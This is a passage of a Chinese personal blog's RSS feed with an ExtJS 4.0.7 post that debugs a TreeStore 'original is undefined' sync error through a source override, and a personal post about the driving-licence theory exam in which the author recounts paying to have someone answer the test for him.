                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://www.ineeke.com/archives/1412/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>ExtJS 4.0.7 TreeStore original is undefined</title>
		<link>http://www.ineeke.com/archives/1410/</link>
		<comments>http://www.ineeke.com/archives/1410/#comments</comments>
		<pubDate>Sat, 12 Nov 2011 13:20:54 +0000</pubDate>
		<dc:creator>Neeke</dc:creator>
				<category><![CDATA[ExtJS]]></category>
		<category><![CDATA[JSON]]></category>

		<guid isPermaLink="false">http://www.ineeke.com/?p=1410</guid>
		<description><![CDATA[最近又开始写ExtJS了，用的是最新版本ExtJS4.0.7，这玩意现在也开始搞MVC分层了，了解了一下感觉还不错！以前使用2.X系列的时候虽然也自己定义并规范化了一些，但是整体代码感觉有些乱，界面和事件处理以及数据都在一起，而且扩展起来也不太方便，现在使用这种MVC的方式确实不错！ 由于有半年多没接触过ExtJS了，现在不光分了MVC而且，API也有不小的变化，消失了一些类又多了一些类，不过还是挺好上手的，也许是因为以前用过吧。下面说说这几天在使用TreeStore遇到的一个问题。 情景是这样的：在已有的树上增加一个节点，然后执行TreeStore的sync()方法与服务器进行同步后报错“original is undefined”。 这个操作完成后，树上（界面）已经添加成功，查看数据库也一样是成功添加了，服务器返回的JSON也没有问题，可是它就是报错！检查发现，这个错出现在TreeStore源码的onUpdateRecords方法中的“parentNode = original.parentNode;”这一句上。源码如下： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 onUpdateRecords: function&#40;records, operation, success&#41;&#123; if &#40;success&#41; &#123; var me = this, i = 0, length = records.length, data = me.data, original, parentNode, record; for [...]<table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;">
    
    <tr>
        <td colspan="4"><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
        <tr>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important;">
                    <a target="_blank" title="将JavaBean及List集合转换为JSON" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F875%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1410%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">将JavaBean及List集合转换为JSON</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Ext obj.ucountry is null" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1132%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1410%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/site_images/2011/05/09/8070158.png" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Ext obj.ucountry is null</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Bad version number in class file" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1249%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1410%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/site_images/2011/05/06/7745388.png" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Bad version number in class file</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Hibernate executeFind()" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1127%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1410%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/site_images/2011/05/12/8488354.png" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Hibernate executeFind()</font>
                    </a>
                </td>
        </tr>
    
    <tr>
        <td colspan="4" align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems.htm" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p>最近又开始写ExtJS了，用的是最新版本ExtJS4.0.7，这玩意现在也开始搞MVC分层了，了解了一下感觉还不错！以前使用2.X系列的时候虽然也自己定义并规范化了一些，但是整体代码感觉有些乱，界面和事件处理以及数据都在一起，而且扩展起来也不太方便，现在使用这种MVC的方式确实不错！<br />
<span id="more-1410"></span><br />
由于有半年多没接触过ExtJS了，现在不光分了MVC而且，API也有不小的变化，消失了一些类又多了一些类，不过还是挺好上手的，也许是因为以前用过吧。下面说说这几天在使用TreeStore遇到的一个问题。<br />
情景是这样的：在已有的树上增加一个节点，然后执行TreeStore的sync()方法与服务器进行同步后报错“original is undefined”。<br />
这个操作完成后，树上（界面）已经添加成功，查看数据库也一样是成功添加了，服务器返回的JSON也没有问题，可是它就是报错！检查发现，这个错出现在TreeStore源码的onUpdateRecords方法中的“parentNode = original.parentNode;”这一句上。源码如下：</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;">onUpdateRecords<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>records<span style="color: #339933;">,</span> operation<span style="color: #339933;">,</span> success<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>success<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #003366; font-weight: bold;">var</span> me <span style="color: #339933;">=</span> <span style="color: #000066; font-weight: bold;">this</span><span style="color: #339933;">,</span>
		i <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">,</span>
		length <span style="color: #339933;">=</span> records.<span style="color: #660066;">length</span><span style="color: #339933;">,</span>
		data <span style="color: #339933;">=</span> me.<span style="color: #660066;">data</span><span style="color: #339933;">,</span>
		original<span style="color: #339933;">,</span>
		parentNode<span style="color: #339933;">,</span>
		record<span style="color: #339933;">;</span>
		<span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> length<span style="color: #339933;">;</span> <span style="color: #339933;">++</span>i<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			record <span style="color: #339933;">=</span> records<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
			original <span style="color: #339933;">=</span> me.<span style="color: #660066;">tree</span>.<span style="color: #660066;">getNodeById</span><span style="color: #009900;">&#40;</span>record.<span style="color: #660066;">getId</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			parentNode <span style="color: #339933;">=</span> original.<span style="color: #660066;">parentNode</span><span style="color: #339933;">;</span>
			<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>parentNode<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
				<span style="color: #006600; font-style: italic;">// prevent being added to the removed cache</span>
				original.<span style="color: #660066;">isReplace</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">true</span><span style="color: #339933;">;</span>
				parentNode.<span style="color: #660066;">replaceChild</span><span style="color: #009900;">&#40;</span>record<span style="color: #339933;">,</span> original<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				original.<span style="color: #660066;">isReplace</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">false</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
            <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>服务器端返回的JSON格式是这样的：</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #009900;">&#123;</span>success<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">true</span><span style="color: #339933;">,</span> data<span style="color: #339933;">:</span> <span style="color: #009900;">&#91;</span><span style="color: #009900;">&#123;</span>id<span style="color: #339933;">:</span> <span style="color: #CC0000;">100</span><span style="color: #339933;">,</span> text<span style="color: #339933;">:</span> <span style="color: #3366CC;">'新节点'</span><span style="color: #339933;">,</span> leaf<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">true</span><span style="color: #339933;">,</span> parentId<span style="color: #339933;">:</span> <span style="color: #CC0000;">90</span><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>我觉得这个方法应该是在返回的JSON中success为true时，将data中的数据逐一替换掉UI上相应的节点（因为新节点先在UI上出现，然后才同步到服务器），而这时候“original = me.tree.getNodeById(record.getId())”却始终找不到相应的节点，为什么呢？我想是这样的：<br />
添加节点的代码是：</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> node <span style="color: #339933;">=</span> <span style="color: #009900;">&#123;</span>text<span style="color: #339933;">:</span> <span style="color: #3366CC;">'新节点'</span><span style="color: #339933;">,</span> leaf<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">true</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
parentNode.<span style="color: #660066;">appendChild</span><span style="color: #009900;">&#40;</span>node<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
store.<span style="color: #660066;">sync</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>当“parentNode.appendChild(node);”执行完毕，UI上便出现了新增加的node，而且store中也多出了一条记录，当sync()被执行并接收到服务器端返回到JSON，便开始执行onUpdateRecords方法了，而这时候，UI上那个node的id默认是“0”，而服务器端返回的数据中id是“100”，所以就找不到了！这样一想，官方的这个是不是有点太不符合逻辑了？返回的JSON中不是有parentId吗！直接用它找到父节点，再通过父节点找到其下最后一个子节点（这个就是新添加的节点）然后替换之。想明白了，开始动手override一下源码中到这个方法。</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;">Ext.<span style="color: #660066;">override</span><span style="color: #009900;">&#40;</span>Ext.<span style="color: #660066;">data</span>.<span style="color: #660066;">TreeStore</span><span style="color: #339933;">,</span> <span style="color: #009900;">&#123;</span>
	onUpdateRecords<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>records<span style="color: #339933;">,</span> operation<span style="color: #339933;">,</span> success<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>success<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #003366; font-weight: bold;">var</span> me <span style="color: #339933;">=</span> <span style="color: #000066; font-weight: bold;">this</span><span style="color: #339933;">,</span>
			i <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">,</span>
			length <span style="color: #339933;">=</span> records.<span style="color: #660066;">length</span><span style="color: #339933;">,</span>
			data <span style="color: #339933;">=</span> me.<span style="color: #660066;">data</span><span style="color: #339933;">,</span>
			original<span style="color: #339933;">,</span>
			parentNode<span style="color: #339933;">,</span>
			record<span style="color: #339933;">;</span>
			<span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> length<span style="color: #339933;">;</span> <span style="color: #339933;">++</span>i<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
				record <span style="color: #339933;">=</span> records<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
				parentNode <span style="color: #339933;">=</span> me.<span style="color: #660066;">tree</span>.<span style="color: #660066;">getNodeById</span><span style="color: #009900;">&#40;</span>record.<span style="color: #660066;">data</span>.<span style="color: #660066;">parentId</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				original <span style="color: #339933;">=</span> parentNode.<span style="color: #660066;">lastChild</span><span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>parentNode<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
					<span style="color: #006600; font-style: italic;">// prevent being added to the removed cache</span>
					original.<span style="color: #660066;">isReplace</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">true</span><span style="color: #339933;">;</span>
					parentNode.<span style="color: #660066;">replaceChild</span><span style="color: #009900;">&#40;</span>record<span style="color: #339933;">,</span> original<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
					original.<span style="color: #660066;">isReplace</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">false</span><span style="color: #339933;">;</span>
					<span style="color: #009900;">&#125;</span>
				<span style="color: #009900;">&#125;</span>
				<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>record.<span style="color: #660066;">dirty</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		                	record.<span style="color: #660066;">commit</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		        	<span style="color: #009900;">&#125;</span>
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>再把程序跑起来看看，没问题了！网上竟然没找到相关信息，难道就我遇到了？</p>
<table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;">
    
    <tr>
        <td colspan="5"><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
        <tr>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important;">
                    <a target="_blank" title="将JavaBean及List集合转换为JSON" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F875%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1410%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">将JavaBean及List集合转换为JSON</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Spring MVC 文件上传" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1124%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1410%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/site_images/2011/05/12/8522888.png" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Spring MVC 文件上传</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="SimpleFormController onSubmit()不执行" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1121%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1410%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/site_images/2011/05/12/8522888.png" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">SimpleFormController onSubmit()不执行</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="复习旧的 学习新的" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1107%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1410%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/site_images/2011/09/11/30195471.jpg" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">复习旧的 学习新的</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="蛋疼的QQ群" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1270%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1410%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/site_images/2011/06/08/11425688.jpg" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">蛋疼的QQ群</font>
                    </a>
                </td>
        </tr>
    
    <tr>
        <td colspan="5" align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems.htm" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://www.ineeke.com/archives/1410/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>学开车 考驾照</title>
		<link>http://www.ineeke.com/archives/1408/</link>
		<comments>http://www.ineeke.com/archives/1408/#comments</comments>
		<pubDate>Sun, 30 Oct 2011 11:37:27 +0000</pubDate>
		<dc:creator>Neeke</dc:creator>
				<category><![CDATA[生活点滴]]></category>
		<category><![CDATA[开车]]></category>

		<guid isPermaLink="false">http://www.ineeke.com/?p=1408</guid>
		<description><![CDATA[每周周末都去学开车，上了一周班，好不容易到周末了，时间又花到练车上了，想好好休息一下都不行。 之前有时候我在想”为啥马路杀手那么多”，我想现在有点答案了。考驾照理论考试完全是个形式，100道题满分100，90才及格，虽说有点接受不了，但是想想说白了”开车就是玩命”，你不懂游戏规则肯定害人害己。话说我这个驾校(应该是报名点)很不负责啊！啥资料都不给，也没提前通知，突然某天晚上打电话说让第二天去考理论(或许这也算是提前了吧)。第二天早上赶紧给公司打电话请假，然后坐着驾校的车去考点，到了考点，我靠！来考试的人真多！ 考场里的答题机器，windows xp系统，一个指纹识别器，一个鼠标，一个摄像头，一个类似银行柜台输密码的小键盘，普通的大屁股显示器，IE6上显示着一个网页，就是那答题系统的登录界面。嗯…坏毛病又犯了，地址栏是个内外IP，程序是用Java开发的，没有工具栏，没有菜单栏，页面用JS屏蔽掉了右键以及其它一些快捷键。本来想法是看看有没有可能搞进去，然后直接改数据库，不过我的理智完胜了这邪恶的念头，还是老老实实答题吧。输入身份证号，输入指纹，登录系统，各种判断，各种选择，各种交警动作识别后，我以69分结束了战斗！好吧，下午补考。 话说这分数我还是挺满意的！因为几乎考前没看过资料，完全是靠常识。驾校的人说” 给200块，下午考试包过，你坐在那只需用脸挡住视频，有人给你答题。不然考不过，以后再想补考就不止是200块的问题了，很麻烦的！”听周围其他来考试的人也是三五扎堆的谈论这个问题。好吧，哥认了！等啊等，第一波人考完试都已经到晚上7点多了，这才开始补考，我都怀疑是不是第一波考试的人都没过啊！补考的人怎么也这么多！一个人200，光我前面就排了有800个人左右，这全算下来，那还不赚大发了！ 再次答题，双手搭桌上，盯着显示器，脸正对着视频，旁边有个MM伸出一只手在那小键盘上噼里啪啦按着，不出一分钟，100道题答完了，然后就去给其他人答题了，咱需要做的就是冲着视频傻坐着，等 开考15分钟后直接出考场走人。 唉！过了是过了！但是咱还是得好好找资料学习啊！安全第一啊！最后，TMD！现在这都是啥狗屁社会啊！真和谐！<table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;">
    
    <tr>
        <td colspan="4"><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
        <tr>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important;">
                    <a target="_blank" title="Bad version number in class file" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1249%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1408%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/site_images/2011/05/06/7745388.png" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Bad version number in class file</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="买了一部魅族M8" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1226%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1408%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/site_images/2011/06/27/14536966.jpg" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">买了一部魅族M8</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Ext desktop无法完全模式化" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F942%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1408%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/site_images/2011/05/08/8023189.jpg" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Ext desktop无法完全模式化</font>
                    </a>
                </td>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="JavaScript变量与对象属性" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1187%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1408%2F">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 95px !important; height: 95px !important;" src="http://static.wumii.com/site_images/2011/05/12/8529867.bmp" width="95px" height="95px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 101px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">JavaScript变量与对象属性</font>
                    </a>
                </td>
        </tr>
    
    <tr>
        <td colspan="4" align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems.htm" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p>每周周末都去学开车，上了一周班，好不容易到周末了，时间又花到练车上了，想好好休息一下都不行。<br />
<span id="more-1408"></span>之前有时候我在想”为啥马路杀手那么多”，我想现在有点答案了。考驾照理论考试完全是个形式，100道题满分100，90才及格，虽说有点接受不了，但是想想说白了”开车就是玩命”，你不懂游戏规则肯定害人害己。话说我这个驾校(应该是报名点)很不负责啊！啥资料都不给，也没提前通知，突然某天晚上打电话说让第二天去考理论(或许这也算是提前了吧)。第二天早上赶紧给公司打电话请假，然后坐着驾校的车去考点，到了考点，我靠！来考试的人真多！<br />
考场里的答题机器，windows xp系统，一个指纹识别器，一个鼠标，一个摄像头，一个类似银行柜台输密码的小键盘，普通的大屁股显示器，IE6上显示着一个网页，就是那答题系统的登录界面。嗯…坏毛病又犯了，地址栏是个内外IP，程序是用Java开发的，没有工具栏，没有菜单栏，页面用JS屏蔽掉了右键以及其它一些快捷键。本来想法是看看有没有可能搞进去，然后直接改数据库，不过我的理智完胜了这邪恶的念头，还是老老实实答题吧。输入身份证号，输入指纹，登录系统，各种判断，各种选择，各种交警动作识别后，我以69分结束了战斗！好吧，下午补考。<br />
话说这分数我还是挺满意的！因为几乎考前没看过资料，完全是靠常识。驾校的人说” 给200块，下午考试包过，你坐在那只需用脸挡住视频，有人给你答题。不然考不过，以后再想补考就不止是200块的问题了，很麻烦的！”听周围其他来考试的人也是三五扎堆的谈论这个问题。好吧，哥认了！等啊等，第一波人考完试都已经到晚上7点多了，这才开始补考，我都怀疑是不是第一波考试的人都没过啊！补考的人怎么也这么多！一个人200，光我前面就排了有800个人左右，这全算下来，那还不赚大发了！<br />
再次答题，双手搭桌上，盯着显示器，脸正对着视频，旁边有个MM伸出一只手在那小键盘上噼里啪啦按着，不出一分钟，100道题答完了，然后就去给其他人答题了，咱需要做的就是冲着视频傻坐着，等 开考15分钟后直接出考场走人。<br />
唉！过了是过了！但是咱还是得好好找资料学习啊！安全第一啊！最后，TMD！现在这都是啥狗屁社会啊！真和谐！</p>
<table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;">
    
    <tr>
        <td colspan="4"><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
        <tr>
                <td width="101" valign="top" style="padding: 5px !important; margin: 0 !important;">
                    <a target="_blank" title="古城，我快回来咧！" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1327%2F&from=http%3A%2F%2Fwww.ineeke.com%2Farchives%2F1408%2F">
